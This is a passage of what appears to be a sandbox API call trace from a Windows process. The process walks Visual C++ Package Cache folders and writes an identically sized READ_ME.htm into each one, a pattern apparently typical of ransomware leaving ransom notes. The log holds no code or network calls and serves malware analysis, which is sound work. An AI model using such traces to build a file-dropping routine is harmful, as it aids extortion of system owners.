ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.924] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.924] SetErrorMode (uMode=0x0) returned 0x1 [0139.924] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0139.924] SetErrorMode (uMode=0x1) returned 0x0 [0139.925] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x20270a50, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x20270a50, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.925] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.925] SetErrorMode (uMode=0x0) returned 0x1 [0139.925] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x6e [0139.925] SetErrorMode (uMode=0x1) returned 0x0 [0139.926] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x20270a50, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x20270a50, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.926] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.926] SetErrorMode (uMode=0x0) returned 0x1 [0139.926] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x6e [0139.926] SetErrorMode (uMode=0x1) returned 0x0 [0139.927] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x20270a50, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x20270a50, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.927] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.927] SetErrorMode (uMode=0x0) returned 0x1 [0139.927] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\READ_ME.htm", lpFilePart=0x0) returned 0x7a [0139.927] SetErrorMode (uMode=0x1) returned 0x0 [0139.928] SetErrorMode (uMode=0x0) returned 0x1 [0139.928] GetFileType (hFile=0x1d0) returned 0x1 [0139.928] WriteFile (in: hFile=0x1d0, lpBuffer=0x29deb60*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29deb60*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.930] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x63 [0139.930] SetErrorMode (uMode=0x1) returned 0x0 [0139.930] SetErrorMode (uMode=0x0) returned 0x1 [0139.930] GetFileType (hFile=0x1d0) returned 0x1 [0139.931] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e31b0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29e31b0*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.932] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\READ_ME.htm", lpFilePart=0x0) returned 0x5a [0139.932] SetErrorMode (uMode=0x1) returned 0x0 [0139.933] SetErrorMode (uMode=0x0) returned 0x1 [0139.933] GetFileType (hFile=0x1d0) returned 0x1 [0139.933] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e77e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29e77e0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.934] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpFilePart=0x0) returned 0x4e [0139.934] SetErrorMode (uMode=0x1) returned 0x0 [0139.935] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f9b00f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f9b00f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.936] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.936] SetErrorMode (uMode=0x0) returned 0x1 [0139.936] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpFilePart=0x0) returned 0x4e [0139.936] SetErrorMode (uMode=0x1) returned 0x0 [0139.937] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f9b00f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f9b00f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.937] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.937] SetErrorMode (uMode=0x0) returned 0x1 [0139.937] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0139.937] SetErrorMode (uMode=0x1) returned 0x0 [0139.937] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f9b00f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f9b00f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.938] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.938] SetErrorMode (uMode=0x0) returned 0x1 [0139.938] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0139.938] SetErrorMode (uMode=0x1) returned 0x0 [0139.938] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f9b00f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f9b00f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.939] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.939] SetErrorMode (uMode=0x0) returned 0x1 [0139.939] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x6f [0139.939] SetErrorMode (uMode=0x1) returned 0x0 [0139.939] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f9fc3b0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f9fc3b0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.940] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.940] SetErrorMode (uMode=0x0) returned 0x1 [0139.940] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x6f [0139.940] SetErrorMode (uMode=0x1) returned 0x0 [0139.940] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f9fc3b0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f9fc3b0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.940] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.940] SetErrorMode (uMode=0x0) returned 0x1 [0139.941] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\READ_ME.htm", lpFilePart=0x0) returned 0x7b [0139.941] SetErrorMode (uMode=0x1) returned 0x0 [0139.941] SetErrorMode (uMode=0x0) returned 0x1 [0139.941] GetFileType (hFile=0x1d0) returned 0x1 [0139.942] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f2488*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29f2488*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.943] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x63 [0139.943] SetErrorMode (uMode=0x1) returned 0x0 [0139.944] SetErrorMode (uMode=0x0) returned 0x1 [0139.944] GetFileType (hFile=0x1d0) returned 0x1 [0139.944] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f6ad8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29f6ad8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.945] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\READ_ME.htm", lpFilePart=0x0) returned 0x5a [0139.945] SetErrorMode (uMode=0x1) returned 0x0 [0139.946] SetErrorMode (uMode=0x0) returned 0x1 [0139.946] GetFileType (hFile=0x1d0) returned 0x1 [0139.946] WriteFile (in: hFile=0x1d0, lpBuffer=0x29fb108*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29fb108*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.947] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpFilePart=0x0) returned 0x4e [0139.947] SetErrorMode (uMode=0x1) returned 0x0 [0139.947] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76131f90, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f963e30, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f963e30, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.948] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.948] SetErrorMode (uMode=0x0) returned 0x1 [0139.948] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpFilePart=0x0) returned 0x4e [0139.949] SetErrorMode (uMode=0x1) returned 0x0 [0139.949] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76131f90, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f963e30, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f963e30, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.949] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.949] SetErrorMode (uMode=0x0) returned 0x1 [0139.949] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0139.949] SetErrorMode (uMode=0x1) returned 0x0 [0139.949] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f963e30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f963e30, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f963e30, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.950] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.950] SetErrorMode (uMode=0x0) returned 0x1 [0139.951] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0139.951] SetErrorMode (uMode=0x1) returned 0x0 [0139.951] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f963e30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f963e30, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f963e30, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.951] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.951] SetErrorMode (uMode=0x0) returned 0x1 [0139.951] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x6c [0139.951] SetErrorMode (uMode=0x1) returned 0x0 [0139.951] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f963e30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f9b00f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f9b00f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.952] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.952] SetErrorMode (uMode=0x0) returned 0x1 [0139.952] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x6c [0139.952] SetErrorMode (uMode=0x1) returned 0x0 [0139.952] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f963e30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f9b00f0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7f9b00f0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.953] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.953] SetErrorMode (uMode=0x0) returned 0x1 [0139.953] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\READ_ME.htm", lpFilePart=0x0) returned 0x78 [0139.953] SetErrorMode (uMode=0x1) returned 0x0 [0139.953] SetErrorMode (uMode=0x0) returned 0x1 [0139.954] GetFileType (hFile=0x1d0) returned 0x1 [0139.954] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a05d30*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2a05d30*, 